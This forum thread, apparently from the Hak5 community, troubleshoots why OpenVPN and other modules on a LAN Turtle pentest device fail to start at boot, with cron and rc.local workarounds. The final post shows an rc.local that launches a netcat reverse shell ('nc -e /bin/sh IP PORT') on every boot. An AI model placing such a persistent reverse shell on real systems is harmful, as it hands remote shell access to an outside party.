Jump to content

OpenVPN does not start on boot


scavmartin

Recommended Posts

I have configured my openvpn on my turtle lan. The openvpn works fine if I manually start it in the menu or issue a /etc/init.d/openvpn start command. I have set the Bootup Status to Enabled. I reboot the turtlelan and openvpn does not start, viewing the menu it confirms that Bootup Status is Enabled and the Current Status is stopped. If I click on Start the openvpn starts up and works as expected. But I cannot get openvpn to start on bootup even though it is configured to.

 

Side note: If you click on stop after start you get "Command failed: Not found" for an error and the openvpn is still started.

Link to comment
Share on other sites

32 minutes ago, scavmartin said:

I have configured my openvpn on my turtle lan. The openvpn works fine if I manually start it in the menu or issue a /etc/init.d/openvpn start command. I have set the Bootup Status to Enabled. I reboot the turtlelan and openvpn does not start, viewing the menu it confirms that Bootup Status is Enabled and the Current Status is stopped. If I click on Start the openvpn starts up and works as expected. But I cannot get openvpn to start on bootup even though it is configured to.

 

Side note: If you click on stop after start you get "Command failed: Not found" for an error and the openvpn is still started.

I have had similar issues.  However when I click start openvpn it doesn't even work as expected but inputting the command manually does work fine.  My work around to it was to create a script in /usr/bin/ file location titled startup.sh -  Then in that file I did the following:

#!/bin/bash

sleep 1m && openvpn --daemon --config /etc/openvpn/my-vpn.conf

Then in the cron module I did:

@boot /usr/bin/startup.sh

Don't forget to make the startup script executable.  There are also some firewall rules and a network interface added to your files that I can provide screen shots for if you need them once I get home.  If those changes are not made the turtle will lose all internet connection and the packets will not flow as the hak5 team likes to say.  Feel free to message me if you need any help.

Link to comment
Share on other sites

Just now, Rainman_34 said:

I have had similar issues.  However when I click start openvpn it doesn't even work as expected but inputting the command manually does work fine.  My work around to it was to create a script in /usr/bin/ file location titled startup.sh -  Then in that file I did the following:

#!/bin/bash

sleep 1m && openvpn --daemon --config /etc/openvpn/my-vpn.conf

Then in the cron module I did:

@boot /usr/bin/startup.sh

Don't forget to make the startup script executable.  There are also some firewall rules and a network interface added to your files that I can provide screen shots for if you need them once I get home.  If those changes are not made the turtle will lose all internet connection and the packets will not flow as the hak5 team likes to say.  Feel free to message me if you need any help.

I think the issue is more widespread as netcat-revshell does not start on boot either for me and I followed this other issue. My openvpn does start manually and through init.d as well.

 

Link to comment
Share on other sites

Just now, scavmartin said:

I think the issue is more widespread as netcat-revshell does not start on boot either for me and I followed this other issue. My openvpn does start manually and through init.d as well.

 

The issue is more wide spread.  SSHFS does the same thing but starts if you click the start button.  I have put anything I want to start on bootup in that bash script.  Alternatively you can try the command - start (name of service)  example: start openvpn and if that works just put that in the bash script.  Not the solution that you may want but it is a work around and as Hak5 is currently in development of other products not sure when they will be able to fix these minor bugs.  The solution will work until they do though.

Link to comment
Share on other sites

Thanks for the data, in case it helps you can achieve the same result by just editing /etc/rc.local and adding the commands you want to start on boot there. Note there is no service or systemctl on the turtle. So my /etc/rc.local looks like the following to start a nc reverse shell and a openvpn

 

/etc/init.d/openvpn start
#sh reverse shell
nc -e /bin/sh IP PORT
#Add your commands above this line
exit 0

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...